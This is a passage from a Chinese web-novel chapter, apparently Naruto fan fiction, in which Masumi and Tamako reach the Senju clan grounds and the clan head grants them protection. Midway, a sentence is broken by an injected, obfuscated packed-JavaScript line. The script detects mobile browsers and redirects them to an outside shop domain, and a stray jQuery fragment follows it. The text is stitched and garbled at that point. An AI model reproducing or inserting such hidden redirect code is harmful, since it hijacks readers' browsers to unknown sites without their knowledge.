“欢迎来到森之千手!”

    千手幸树脚踏地面后,长长松了口气,紧绷的神情终于稍稍缓和,回头望向连绵成片、被茂密林木环绕的屋舍,他抬手一指,语气里带着几分自豪。

    “这里就是我们千手一族的族地了,宇智波再嚣张,也不敢轻易闯进来。”

    真澄本以为千手族地会和那些电视剧或者小说里的洞天福地一样,仙气缭绕、奇珍遍地,结果放眼望去,不过是些普通木制建筑和成片树林,连点像样的气派建筑都没有。

    不说汉白玉宫殿吧,好歹也得有几座气派的楼阁吧,眼前这景象实在和她想象中的强者一族差得太远,真澄心里不免有些失望。

    玉子倒是非常拘谨地四处张望,手紧紧拽着真澄的衣角,生怕在这个忍者聚集地走散,然后不小心丢掉性命。今天一整天发生的事情太过于刺激,让她的心脏一直悬在嗓子眼,咚咚狂跳不止。

    从被挟持、到忍者战斗,一桩桩一件件,早已超出了她过去二十年对“危险”的全部认知。此刻踏入千手族地,她非但没有安心,反而更加紧绷——这里全是身手不凡的忍者,随便一个人,都能轻易决定她的生死。

    真澄看了眼攥着自己衣角,指尖都微微发白的玉子,稍微放缓了脚步,小手牵着大手,无声地给她一点安全感。

    “真澄…”

    玉子感受到掌心的热意,心口一热,眼眶顿时又开始红了。

    “我先带你们找地方休息,然后去见族里的长老,把事情说清楚,也好给你们安排住处。”

    千手幸树很显然在族地里很有人气,千手族人见到这个熟悉的面孔后,立马热情地上来打招呼。

    路过的壮年族人拍着他的肩膀笑着打趣,扛着木材的妇女也停下脚步关切询问,就连一旁玩耍的小孩子们都纷纷探出头,叽叽喳喳地喊着他的名字。一路走过去,问候声接连不断,处处透着同族之间的亲近与熟稔。

    幸树一一笑着回应,语气熟络又自然,显然早已习惯这般热闹。

    真澄倒是觉得千手一族的人性格很平和,和她认知里的忍者不一样,反而像原来世界的北方人。

    想到今天遇到的两波忍者,先是出手狠辣、步步紧逼的羽衣,再是阴冷好战、出手便不留情的宇智波,前后一对比,她忍不住轻轻摇了摇头。

    原来忍者也不全是一副随时要打要杀的样子。

    这里的人说话豪爽,眼神坦荡,连打招呼都带着烟火气,和“森之千手”这个名字一样,少了几分尖锐,多了几分安稳。

    “玉子,你觉得怎么样?”

    真澄小声问她,毕竟如果真要在千手一族扎下根,玉子这个不会查克拉的普通人感受最重要。

    只见玉子点点头,一路走过来,她已经放松了不少,这里没有刚才宇智波那种让人窒息的压迫感,族人脸上都带着温和的笑意,连空气都显得安稳许多。

    于是,她小声回应:“这里感觉很安全,比外面好多了。”

    “那就好。”

    真澄圆圆的眼睛眯成月牙状,她就知道千手这一步来对了。

    千手幸树走着走着突然就看见前方快步走来的身影,立刻扬声喊了一句:“桃华。”

    千手桃华应声走近,目光先落在了一旁的玉子身上,打量了几眼,眼神里没有半分敌意,反倒带着几分温和的好奇。

    “这位是?”

    幸树顺势介绍道:“这是玉子,还有真澄。”

    真澄也乖巧地站到一旁,对着桃华轻轻点了点头。

    桃华闻言,看起来生人勿近的脸上露出一个爽朗的笑,声音干脆又亲切:“既然来了千手,就不用拘束,这里会很安全。”

    玉子被这股自然而然的暖意包裹着,紧绷的脊背又松了松:“…谢谢。”

    桃华望着眼前这位女性,越看越觉得眉眼温和,气质沉稳,跟自家兄长站在一起格外顺眼,心里顿时活络起来。

    她眼珠一转,伸手拽住千手幸树的胳膊,不由分说把人拉到稍远一点的树荫下,踮着脚凑到他耳边窃窃私语。

    “兄长,这位玉子小姐,你从哪儿认识的呀?”

    幸树被她突如其来的小动作弄得一愣,还没开口,就见桃华一脸促狭地继续小声道:

    “我看你们俩站一起,还挺般配的嘛。”

    “桃华!”

    千手幸树急忙低喝一声,耳根却不受控制地泛起一层浅红,面上那副故作严肃的模样,怎么看都带着几分心虚的窘迫,说是嫌弃,倒更像被戳中心事的慌乱。

    桃华瞧在眼里,嘴角的笑意藏都藏不住,心里更是笃定了七八分,故意挤了挤眼,一副“我都懂”的模样。

    养伤的这段日子,气氛本就比战场柔软太多。

    千手幸树看着玉子独自打理日常,安静又坚韧的模样,再想到她寡居多年,独自撑着的不易,心里渐渐多了几分怜惜,再往后,便悄悄发酵成了连自己都没立刻察觉的好感。

    两人都是正当盛年的年纪,一个沉稳可靠,一个温柔坚韧,在朝夕相处里彼此靠近,一点心动、一点试探,在安稳的氛围里慢慢生出暧昧的苗头,实在再自然不过。

    千手桃华生得一副冷艳模样,眉眼凌厉,鼻梁挺直,哪怕只是放松表情站在那儿,都自带一股生人勿近的气场,不知情的人多半不敢轻易搭话。

    可谁也想不到,这副冷艳外壳底下,藏着一颗十足八卦的心。

    刚把兄长拉到一边,她就压低声音,眼睛亮晶晶的,完全没了平日里那副冷淡模样:

    “老实交代,你跟那位玉子小姐,到底到哪一步了?”

    千手幸树被她问得一噎,脸色一阵青一阵红:“桃华,别乱说话。”

    “我乱说话?”桃华挑了挑眉,嘴角勾起一抹促狭的笑,语气里满是笃定,“你看她的眼神可不一样,别想瞒我。”

    其实两人之间什么越界的事都没有。

    大多是真澄跑出去训练的空档,幸树和玉子就一同坐在屋檐下,安安静静地看着庭院里的风景。

    风掠过树梢,影子在地上慢慢晃,两人谁也没有先开口,却一点都不觉得尴尬。

    沉默里反而裹着一层淡淡的、安稳的暖意,比刻意找话题还要自在。

    等桃华知道详情后,脸上那点期待瞬间垮了下去,露出一脸毫不掩饰的遗憾。

    “就这样啊?”

    她拖长了语调,眼神里写满“不争气”,“千手幸树,你也太老实了吧。”

    千手幸树被她这模样气得又好气又好笑,伸手虚虚比了比,恨不得当场敲一敲她满是八卦的小脑袋。

    “算了,你快去找长老和族长吧,他们都在等着你。”

    桃华见状也不再打趣,摆了摆手收敛了那副促狭神色,只是眼底的笑意还没完全散去。

    千手幸树松了口气,又不放心地看了眼一旁的玉子,见她神色安稳,才轻轻颔首,转身准备往议事的方向走去。

    “两位累了吧,我先带你们去休息,等兄长回来,我们就可以一起去族地逛一逛。”

    桃华向着两人说道,语气依旧是那副淡淡的模样,可眼底却藏着一丝盘算,显然是打算借着逛族地的机会,再多观察观察两人。

    玉子轻轻点了点头,声音柔和:“麻烦你了。”

    真澄也立刻凑上来,她也很好奇千手族地究竟由什么组成。

    千手幸树踏入族中议事堂,屋内气氛沉稳肃穆,几位千手长老与族长千手佛间早

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502572|202826||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    已端坐等候。他快步走上前,将怀中护好的卷轴轻轻放在案上,随即躬身行礼,有条不紊地讲起这几日的经历。

    从途中遭遇羽衣的忍者,到偶遇孤身带着真澄的玉子,再到返回千手族地的途中遇到宇智波,他语气平稳,事无巨细一一说明,不曾隐瞒分毫。

    当谈及真澄年纪尚幼,却已修出独特的气,既能敏锐感知周遭潜藏危机,又可借气疗伤御敌飞行时,原本端坐静听、神色沉稳肃穆的诸位长老脸上终是泛起明显波澜。

    屋内陷入片刻寂静,几位长老指尖轻轻敲击着案几,沉眸沉吟,各怀思绪。

    良久,首位的千手佛间缓缓开口,声线沉厚冷肃,打破满室沉寂:“幸树,你所言句句属实?”

    幸树垂首拱手,语气笃定而郑重:“句句属实,绝无半分虚言。”

    堂内再度一静。

    千手一众长老与族长千手佛间神色沉沉,谁也未曾料到,千手幸树此番外出,竟带回这般惊人消息。

    一个流落在外、无根无依的孩子,身怀这般攻防疗伤、感应危机的奇异力量,天赋诡谲又强横,前途不可估量。

    首位的千手佛间敛下眼底讶异,指尖缓缓摩挲着臂腕纹路。

    片刻后,他面色冷厉肃穆,心中已有定夺。

    千手一族立族之本,便是汇百家之长、聚万般力量,正如族名本意——千手同力,包罗万象,以千般手段护一族存续。

    这般天赋异禀、潜力无穷的孩童,纵使身世飘零,提前拉拢接纳,纳入千手羽翼之下,百利而无一害,断然不亏。

    佛间抬眼,目光落于幸树身上,沉声开口。

    “幸树,你方才所求之事,我应允了。”

    话音落下,堂中瞬间明了。

    先前幸树提及,愿为真澄与玉子二人求取千手一族的庇护,此刻族长松口,恰好正中幸树下怀。

    周遭诸位长老亦是神色平静,无一人出言反对。

    这本就是稳赚不亏的买卖,拉拢一位身负奇异力量的天才幼崽,只需付出一族庇护的承诺,便能为千手增添一份潜藏的强大战力,契合千手汇众力、纳奇才的立族之道,自然无人有异议。

    听闻此言,千手幸树心底骤然一喜,心头大石轰然落地,但他深谙规矩分寸,面上依旧维持着沉稳恭谨的模样,不露半分雀跃,当即躬身深揖,以礼作答。

    “多谢族长,多谢诸位长老。”

    他代为玉子与真澄郑重道谢。

    “去吧,好生安顿招待她们。”

    谈及正事落定,千手佛间素来肃穆冷硬的面容,难得漾开一抹浅淡宽慰的笑意。他向来看好这位侄子,此番外出任务没想到如此凶险,如今幸树平安归来,还寻得奇才,心中自是颇为欣慰。

    顿了顿,佛间语气添了几分郑重,再度叮嘱:

    “还有那名叫真澄的孩子,准许她入千手族学修习。空有得天独厚的天赋,若无系统教导、刻苦打磨,终究难以成材,白白埋没一身本事。”

    千手幸树闻言,心底的喜悦更甚几分。

    不仅为玉子与真澄求得了安稳庇护,还得族长特允,让真澄这个外人进入千手族学修行,这无疑是给了那孩子扎根立足、茁壮成长的绝佳机会。他压下翻涌的喜色,再度行礼,恭敬应下。

    “谨记族长吩咐,在下定会妥善安置二人,绝不辜负族长期望。”

    千手佛间微微颔首,挥了挥手,神色渐缓:“去吧,一路奔波,早些回去歇息。族中诸事,后续再议。”

    一众长老也随之散去,议事堂的凝重气氛渐渐散去。

    千手幸树躬身行礼告退,步履沉稳退出大堂,心中却满是安稳与庆幸,只觉真澄与玉子往后,总算有了安稳容身之处。